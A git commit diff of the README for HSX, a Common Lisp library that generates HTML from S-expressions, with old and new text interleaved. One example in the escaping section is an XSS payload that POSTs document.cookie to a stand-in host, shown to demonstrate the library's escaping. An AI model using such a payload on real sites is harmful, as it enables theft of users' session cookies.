Update README.md

This commit is contained in:
Akira Tempaku 2025-03-28 15:20:57 +09:00
parent aa1efe72cd
commit a8424d2598
Signed by: paku
GPG key ID: 5B4E8402BCC50607
2 changed files with 158 additions and 121 deletions

193
README.md
View file

@ -1,151 +1,188 @@
# HSX # HSX Hypertext S-expression
HSX (Hypertext S-expression) is a simple and powerful HTML (Living Standard) **HSX** is a lightweight and expressive HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax via S-expressions.
generation library for Common Lisp.
This project is a fork of [ailisp/flute](https://github.com/ailisp/flute/). > 🚧 **ALPHA NOTICE:**
> This library is still in early development. APIs may change.
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.
## Warning ## ⚙️ How HSX Works
This software is still in ALPHA quality. The APIs are likely to change. Every tag or component inside an `(hsx ...)` form is transformed into a Lisp expression of the form:
Please check the [release notes](https://code.skyizwhite.dev/paku/hsx/releases) ```lisp
for updates. (create-element type props children)
```
## Getting Started For example:
### Basic Usage
Use the `hsx` macro to create HTML elements. Attributes are specified using a
property list after the element name, and child elements are nested directly
inside.
```lisp ```lisp
(hsx (hsx
(div :id "example" :class "container" (article :class "container"
(h1 "Welcome to HSX") (h1 "Title")
(p "This is an example paragraph."))) (p "Paragraph")
(~share-button :service :x))
```
Is internally transformed (by macro expansion) into:
```lisp
(create-element :article '(:class "container")
(list
(create-element :h1 nil (list "Title"))
(create-element :p nil (list "Paragraph"))
(create-element #'~share-button '(:service :x) (list))))
``` ```
This generates: This is made possible via the hsx macro, which detects HTML tags and components, then rewrites them using create-element. Tags are converted to keywords (e.g., div → :div), and custom components (starting with ~) are passed as functions.
This uniform representation allows rendering, manipulation, and analysis of the HTML structure in a Lisp-friendly way.
## 🚀 Quick Example
```lisp
(hsx
(div :id "main" :class "container"
(h1 "Hello, HSX!")
(p "This is a simple paragraph.")
(ul
(loop for i from 1 to 3 collect
(hsx (li (format nil "Item ~a" i)))))))
```
Generates:
```html ```html
<div id="example" class="container"> <div id="main" class="container">
<h1>Welcome to HSX</h1> <h1>Hello, HSX!</h1>
<p>This is an example paragraph.</p> <p>This is a simple paragraph.</p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
</ul>
</div> </div>
``` ```
To convert an HSX object into an HTML string, use the `render-to-string` ## 📝 Rendering
function:
Use `render-to-string` to convert an HSX structure to a string of HTML:
```lisp ```lisp
(render-to-string (render-to-string
(hsx ...)) (hsx ...))
``` ```
### Embedding Content ## 🔐 Escaping Behavior
HSX allows you to embed Common Lisp forms directly within your HTML structure. All elements automatically escape special characters in content to prevent XSS and HTML injection:
When working with HSX elements inside embedded Lisp forms, you should use the
`hsx` macro again.
```lisp ```lisp
(hsx (hsx
(div (div "<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>"))
(p :id (format nil "id-~a" (random 100)))
(ul
(loop
:for i :from 1 :to 5 :collect
(hsx (li (format nil "Item ~a" i)))))
(if (> (random 10) 5)
(hsx (p "Condition met!"))
(hsx (p "Condition not met!")))))
``` ```
Outputs:
This might generate:
```html ```html
<div> <div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>
<p id="id-42"></p>
<ul>
<li>Item 1</li>
<li>Item 2</li>
<li>Item 3</li>
<li>Item 4</li>
<li>Item 5</li>
</ul>
<p>Condition not met!</p>
</div>
``` ```
### Using Fragments Use the special tag `raw!` to inject trusted, unescaped HTML:
To group multiple elements without adding an extra wrapper, use the fragment ```lisp
`<>`. (hsx
(article (raw! "HTML text here ..."))
```
## 🧩 Fragments
Use `<>` tag to group multiple sibling elements without wrapping them in a container tag:
```lisp ```lisp
(hsx (hsx
(<> (<>
(h1 "Grouped Elements") (p "One")
(p "First paragraph.") (p "Two")))
(p "Second paragraph.")))
``` ```
This generates: Outputs:
```html ```html
<h1>Grouped Elements</h1> <p>One</p>
<p>First paragraph.</p> <p>Two</p>
<p>Second paragraph.</p>
``` ```
### Creating Components Note: `raw!` tag is a fragment that disables HTML escaping for its children.
You can define reusable components using the `defcomp` macro. Component names ## 🧱 Components
must begin with a tilde (`~`). Properties should be declared using `&key`,
`&rest`, or both. The body must return an HSX element. Define reusable components using `defcomp` macro. Component names must start with `~`.
*Keyword-style*
```lisp ```lisp
(defcomp ~card (&key title children) (defcomp ~card (&key title children)
(hsx (hsx
(div :class "card" (div :class "card"
(h1 title) (h2 title)
children))) children)))
``` ```
Alternatively, you can use a property list: *Property-list style*
```lisp ```lisp
(defcomp ~card (&rest props) (defcomp ~card (&rest props)
(hsx (hsx
(div :class "card" (div :class "card"
(h1 (getf props :title)) (h2 (getf props :title))
(getf props :children)))) (getf props :children))))
``` ```
Usage example: ### Usage
```lisp ```lisp
(hsx (hsx
(~card :title "Card Title" (~card :title "Hello"
(p "This is a card component."))) (p "This is a card.")))
``` ```
Generates: Outputs:
```html ```html
<div class="card"> <div class="card">
<h1>Card Title</h1> <h2>Hello</h2>
<p>This is a card component.</p> <p>This is a card.</p>
</div> </div>
``` ```
## License ## 🧬 Logic and Interpolation
This project is licensed under the MIT License. You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:
© 2024 Akira Tempaku ```lisp
(hsx
(div
(if (> (random 10) 5)
(hsx (p "High!"))
(hsx (p "Low!")))))
```
Or loop:
```lisp
(hsx
(ul
(loop :for item :in todo-list :collect
(hsx (li item))))))
```
## 🏷️ Built-in Tags
All standard HTML5 tags (and a few extras like `<>`, `raw!`) are automatically defined and exported from the hsx package. You dont need to declare them manually.
## 📄 License
MIT License
• © 2024 Akira Tempaku
• © 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)
© 2018 Bo Yao

View file

@ -1,5 +1,5 @@
(defsystem "hsx" (defsystem "hsx"
:version "0.4.0" :version "0.5.0"
:description "Simple and powerful HTML generation library." :description "Simple and powerful HTML generation library."
:author "Akira Tempaku, Bo Yao" :author "Akira Tempaku, Bo Yao"
:maintainer "Akira Tempaku <paku@skyizwhite.dev>" :maintainer "Akira Tempaku <paku@skyizwhite.dev>"